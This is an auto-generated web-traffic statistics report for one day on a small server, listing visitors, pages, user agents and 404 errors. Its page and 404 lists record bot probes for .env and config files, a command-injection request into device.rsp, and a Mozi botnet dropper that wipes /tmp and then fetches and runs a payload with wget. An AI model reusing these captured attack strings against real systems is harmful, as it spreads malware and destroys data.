| Statistics generated with VISITORS Web Log Analyzer version 0.7
|
| |
| General information |
| Information about analyzed log files |
| Generated: Sun Nov 9 18:30:01 2025
|
| Number of entries processed 430 |
| Number of invalid entries 0 |
| Processing time in seconds 0 |
| |
| Generated reports |
| Click on the report name you want to see |
| Number of reports generated 24 |
| Unique visitors in each day |
| Unique visitors in each month |
| Unique visitors from Google in each day |
| Unique visitors from Google in each month |
| Pageviews per visit |
| Weekday-Hour combined map |
| Month-Day combined map |
| Requested pages |
| Requested images and CSS |
| Referers |
| Referers by first time |
| Robots and web spiders |
| User agents |
| Operating Systems |
| Browsers |
| 404 Errors |
| Domains |
| Googled pages |
| Adsensed pages |
| Google Keyphrases |
| Google Keyphrases by first time |
| Google Human Language |
| Weekday distribution |
| Hours distribution |
| |
| Unique visitors in each day |
| Multiple hits with the same IP, user agent and access day, are considered a single visit |
| Number of unique visitors 92 |
| Different days in logfile 1 |
| 09/Nov/2025 | 92 (100.0%) |
|
| |
| Unique visitors in each month |
| Multiple hits with the same IP, user agent and access day, are considered a single visit |
| Number of unique visitors 92 |
| Different months in logfile 1 |
| Nov/2025 | 92 (100.0%) |
|
| |
| Unique visitors from Google in each day |
| The red part of the bar expresses the percentage of visits originated from Google |
| Number of unique visitors 92 |
| Number of unique visitors from google 0 |
| Different days in logfile 1 |
| 09/Nov/2025 | 0 (0.0%) |
|
| |
| Unique visitors from Google in each month |
| The red part of the bar expresses the percentage of visits originated from Google |
| Number of unique visitors 92 |
| Number of unique visitors from google 0 |
| Different months in logfile 1 |
| Nov/2025 | 0 (0.0%) |
|
| |
| Weekday-Hour combined map |
| Brighter means higher level of hits |
| Hour with max traffic starting at Su 07:00 with hits 8 |
| Hour with min traffic starting at Mo 00:00 with hits 0 |
| |
| Mo | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Tu | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| We | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Th | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Fr | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Sa | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Su | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| | 00 | 01 | 02 | 03 | 04 | 05 | 06 | 07 | 08 | 09 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 |
|
| |
| Month-Day combined map |
| Brighter means higher level of hits |
| Day with max traffic is Nov 09 with hits 93 |
| Day with min traffic is Nov 09 with hits 93 |
| |
| Jan | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Feb | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Mar | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Apr | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| May | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Jun | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Jul | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Aug | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Sep | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Oct | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Nov | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Dec | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| | 01 | 02 | 03 | 04 | 05 | 06 | 07 | 08 | 09 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 |
|
| |
| Pageviews per visit |
| Number of pages requested per visit |
| Only documents are counted (not images). Reported ranges: 8 |
| 1 | 61 (72.6%) |
|
| 3 | 5 (6.0%) |
|
| 2 | 5 (6.0%) |
|
| 6 | 5 (6.0%) |
|
| 10 | 2 (2.4%) |
|
| > 30 | 2 (2.4%) |
|
| 5 | 2 (2.4%) |
|
| 4 | 2 (2.4%) |
|
| |
| Requested pages |
| Page requests ordered by hits |
| Different pages requested 43 |
| 1) | 319 | / |
| 2) | 19 | none |
| 3) | 13 | /report.html |
| 4) | 9 | /cgi-bin/luci/;stok=/locale |
| 5) | 5 | /robots.txt |
| 6) | 5 | /.env |
| 7) | 4 | /owa/ |
| 8) | 4 | /wspr/ |
| 9) | 2 | /admin/config.php |
| 10) | 2 | /aprsdash/help.html |
| 11) | 2 | /webui |
| 12) | 2 | /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=uname -a;cd /tmp || cd /var/run || cd /m... |
| 13) | 2 | /sitemap.xml |
| 14) | 2 | /version |
| 15) | 2 | /skyaware/ |
| 16) | 2 | /containers/json |
| 17) | 1 | /direwolfdash/index.php |
| 18) | 1 | /bins/ |
| 19) | 1 | /wifi/index.html |
| 20) | 1 | /hudson |
| 21) | 1 | /.env.bak |
| 22) | 1 | /t4 |
| 23) | 1 | /upl.php |
| 24) | 1 | /ais/index.php |
| 25) | 1 | /geoserver/web/ |
| 26) | 1 | /systembc/password.php |
| 27) | 1 | /password.php |
| 28) | 1 | /.well-known/security.txt |
| 29) | 1 | /bin/ |
| 30) | 1 | /?XDEBUG_SESSION_START=phpstorm |
| |
| Requested images and CSS |
| Images and CSS requests ordered by hits |
| Different images and CSS requested 1 |
| 1) | 9 | /favicon.ico |
| |
| Referers |
| Referers ordered by visits (google excluded) |
| Different referers 4 |
| 1) | 90 | none |
| 2) | 1 | https://www.google.com/ |
| 3) | 1 | HTTP Banner Detection (https://security.ipip.net) |
| 4) | 1 | http://iz7boj.dyndns.org/ |
| |
| Referers by first time |
| Referers ordered by first time date, newer on top (referers from google excluded) |
| Different referers 4 |
| 1) | 09/Nov/2025 | http://iz7boj.dyndns.org/ |
| 2) | 09/Nov/2025 | https://www.google.com/ |
| 3) | 09/Nov/2025 | HTTP Banner Detection (https://security.ipip.net) |
| 4) | 09/Nov/2025 | none |
| |
| Robots and web spiders |
| Agents requesting robots.txt. MSIECrawler excluded. |
| Total number of different robots 4 |
| 1) | 1 | Mozilla/5.0 (compatible; BLEXBot/1.0; +https://help.seranking.com/en/blex-crawler) |
| 2) | 1 | Mozilla/5.0 |
| 3) | 1 | Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) |
| 4) | 1 | Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amazonbot/0.1; +https://developer.ama... |
| |
| User agents |
| The entire user agent string ordered by visits |
| Different agents 44 |
| 1) | 20 | Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Ve... |
| 2) | 18 | - |
| 3) | 3 | Mozilla/5.0 zgrab/0.x |
| 4) | 3 | Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks... |
| 5) | 3 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85... |
| 6) | 3 | Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amazonbot/0.1; +https://developer.ama... |
| 7) | 2 | ivre-masscan/1.3 https://github.com/robertdavidgraham/ |
| 8) | 2 | Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.11... |
| 9) | 2 | xfa1 |
| 10) | 2 | Mozilla/5.0 |
| 11) | 2 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.13... |
| 12) | 1 | curl/8.1.2 |
| 13) | 1 | Mozilla/5.0 (iPhone; CPU iPhone OS 17_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Ve... |
| 14) | 1 | Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML |
| 15) | 1 | Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.... |
| 16) | 1 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0 |
| 17) | 1 | Mozilla/5.0 (compatible; BLEXBot/1.0; +https://help.seranking.com/en/blex-crawler) |
| 18) | 1 | Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.108 Saf... |
| 19) | 1 | python-requests/2.32.5 |
| 20) | 1 | HTTP Banner Detection (https://security.ipip.net) |
| 21) | 1 | Mozilla/5.0; Keydrop.io/1.0(onlyscans.com/about); |
| 22) | 1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Sa... |
| 23) | 1 | none |
| 24) | 1 | Mozilla/5.0 (iPhone; CPU iPhone OS 18_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML |
| 25) | 1 | python-requests/2.32.4 |
| 26) | 1 | Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) |
| 27) | 1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0 |
| 28) | 1 | Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 635) like Gecko |
| 29) | 1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Sa... |
| 30) | 1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0 |
| |
| Operating Systems |
| Operating Systems by visits |
| Different operating systems listed 4 |
| Unknown | 67 (72.0%) |
|
| Windows | 21 (22.6%) |
|
| Macintosh | 3 (3.2%) |
|
| Linux | 2 (2.2%) |
|
| |
| Browsers |
| Browsers used by visits |
| Different browsers listed 6 |
| Safari | 44 (47.3%) |
|
| Unknown | 41 (44.1%) |
|
| Firefox | 4 (4.3%) |
|
| Git | 2 (2.2%) |
|
| Other Mozilla based | 1 (1.1%) |
|
| GoogleBot | 1 (1.1%) |
|
| |
| 404 Errors |
| Requests for missing documents |
| Different missing documents requested 22 |
| 1) | 9 | /cgi-bin/luci/;stok=/locale |
| 2) | 4 | /owa/ |
| 3) | 2 | /admin/config.php |
| 4) | 2 | /webui |
| 5) | 2 | /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=uname -a;cd /tmp || cd /var/run || cd /m... |
| 6) | 2 | /sitemap.xml |
| 7) | 2 | /version |
| 8) | 2 | /containers/json |
| 9) | 1 | /bins/ |
| 10) | 1 | /t4 |
| 11) | 1 | /upl.php |
| 12) | 1 | /geoserver/web/ |
| 13) | 1 | /systembc/password.php |
| 14) | 1 | /password.php |
| 15) | 1 | /bin/ |
| 16) | 1 | /1.php |
| 17) | 1 | /v1 |
| 18) | 1 | /config.json |
| 19) | 1 | /geoip/ |
| 20) | 1 | /form.html |
| 21) | 1 | /actuator/gateway/routes |
| 22) | 1 | /shell?cd /tmp;rm -rf *;wget http://192.168.1.1:8088/Mozi.a;chmod 777 Mozi.a;/tmp/Mozi.a jaws |
| |
| Domains |
| Top Level Domains sorted by visits |
| Total number of Top Level Domains 1 |
| numeric IP | 93 (100.0%) |
|
| |
| Googled pages |
| Pages accessed by the Google crawler, last access reported |
| Number of pages googled 1 |
| 1) | 09/Nov/2025 | /robots.txt |
| |
| Adsensed pages |
| Pages accessed by the Adsense crawler, last access reported |
| Number of pages adsensed 0 |
| |
| Google Keyphrases |
| Keyphrases used in google searches ordered by visits |
| Total number of keyphrases 0 |
| |
| Google Keyphrases by first time |
| Keyphrases ordered by first time date, newer on top |
| Different referers 0 |
| |
| Google Human Language |
| The 'hl' field in the query string of google searches |
| Different human languages 0 |
| |
| Weekdays distribution |
| Percentage of hits in every day of the week |
| Mo | 0 (0.0%) |
|
| Tu | 0 (0.0%) |
|
| We | 0 (0.0%) |
|
| Th | 0 (0.0%) |
|
| Fr | 0 (0.0%) |
|
| Sa | 0 (0.0%) |
|
| Su | 93 (100.0%) |
|
| |
| Hours distribution |
| Percentage of hits in every hour of the day |
| 00 | 4 (4.3%) |
|
| 01 | 7 (7.5%) |
|
| 02 | 6 (6.5%) |
|
| 03 | 3 (3.2%) |
|
| 04 | 4 (4.3%) |
|
| 05 | 4 (4.3%) |
|
| 06 | 5 (5.4%) |
|
| 07 | 8 (8.6%) |
|
| 08 | 8 (8.6%) |
|
| 09 | 8 (8.6%) |
|
| 10 | 7 (7.5%) |
|
| 11 | 4 (4.3%) |
|
| 12 | 3 (3.2%) |
|
| 13 | 3 (3.2%) |
|
| 14 | 6 (6.5%) |
|
| 15 | 1 (1.1%) |
|
| 16 | 5 (5.4%) |
|
| 17 | 6 (6.5%) |
|
| 18 | 1 (1.1%) |
|
| 19 | 0 (0.0%) |
|
| 20 | 0 (0.0%) |
|
| 21 | 0 (0.0%) |
|
| 22 | 0 (0.0%) |
|
| 23 | 0 (0.0%) |
|
| |
| Statistics generated with VISITORS Web Log Analyzer version 0.7
|
| |